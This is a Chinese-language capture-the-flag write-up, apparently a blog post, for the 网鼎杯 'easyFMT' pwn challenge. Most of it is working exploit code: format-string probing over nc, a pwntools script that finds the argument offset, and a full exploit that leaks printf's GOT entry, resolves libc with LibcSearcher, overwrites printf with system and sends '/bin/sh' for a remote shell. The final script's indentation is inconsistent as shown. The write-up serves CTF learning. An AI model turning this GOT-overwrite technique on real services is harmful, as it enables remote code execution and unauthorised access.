pwn 网鼎杯 easyFMT

原创

SsMing. 于 2018-09-01 17:09:20 发布
分类专栏： pwn 训练


pwn 同时被 2 个专栏收录
20 篇文章 2 订阅
订阅专栏


训练
13 篇文章 0 订阅
订阅专栏

作为一个菜狗子只能等大佬的writeup学习　才会做

easyFMT看名字就是到是格式化串洞，然后就是要确定存在格式化串洞的参数是第几个

```
root@kali:~# echo `python -c "print 'AAAAAAA'+'.%08x'*10+'[%08x]'"`
AAAAAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x[%08x]
root@kali:~# nc 192.168.1.9 6667
Do you know repeater?
AAAAAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x[%08x]
AAAAAAA.bffff688.00000064.b7eb8909.bffff6bf.bffff6be.41414141.2e414141.78383025.
3830252e.30252e78[252e7838]

^Z
[2]+  已停止               nc 192.168.1.9 6667
root@kali:~# echo `python -c "print 'AAAAAAA'+'.%08x'*5+'[%08x]'"`
AAAAAAA.%08x.%08x.%08x.%08x.%08x[%08x]
root@kali:~# nc 192.168.1.9 6667
Do you know repeater?
AAAAAAA.%08x.%08x.%08x.%08x.%08x[%08x]
AAAAAAA.bffff688.00000064.b7eb8909.bffff6bf.bffff6be[41414141]
```


确定为是print的第六个参数

大佬计算参数的脚本是：

```
#!/usr/bin/python

from pwn import *

elf = ELF('./pwn')
for i in xrange(1,100):
    p = process('./pwn')
    p.recvuntil("Do you know repeater?\n")
    payload = 'AAAA,%' + str(i) + '$x'
    p.sendline(payload)
    try:
        data = p.recv()
        if '41414141' in data:
            print ""
            print "[+] Found it: {}".format(str(i))
            print
            p.close()
            break
        else:
            p.close()
    except:
        p.close()
```

然后这个题的思路是 把printf的got表内容改成system的地址，这样调用printf函数的时候就会调用system从而拿到shell

这里利用LibcSearcher根据泄露的printf的地址，找到对应的libc版本，然后在找到对应的system 的地址，最后进行内存覆盖

```
from pwn import *
from LibcSearcher import LibcSearcher

elf = ELF('./easyFMT')

#p = process('./pwn')
p = remote('192.168.1.9', 6667)
#p = remote('106.75.126.184', 58579)


def get_addr(addr):
    p.recvuntil("Do you know repeater?\n")
    payload = p32(addr) + '%6$s'
    p.sendline(payload)
    data = p.recv()
 print data
 return u32(data[4:4+4])

def main():

 printf_got = elf.got['printf']

 printf_addr = get_addr(printf_got)

 print printf_addr

 libc = LibcSearcher('printf',printf_addr )

 libcbase = printf_addr - libc.dump('printf')

 system_addr = libcbase + libc.dump('system')

 payload = fmtstr_payload(6, {printf_got: system_addr})

    p.sendline(payload)

 p.recvuntil('\n')

 p.sendline('/bin/sh\x00')

 p.interactive()

if __name__ == '__main__':

 main()
```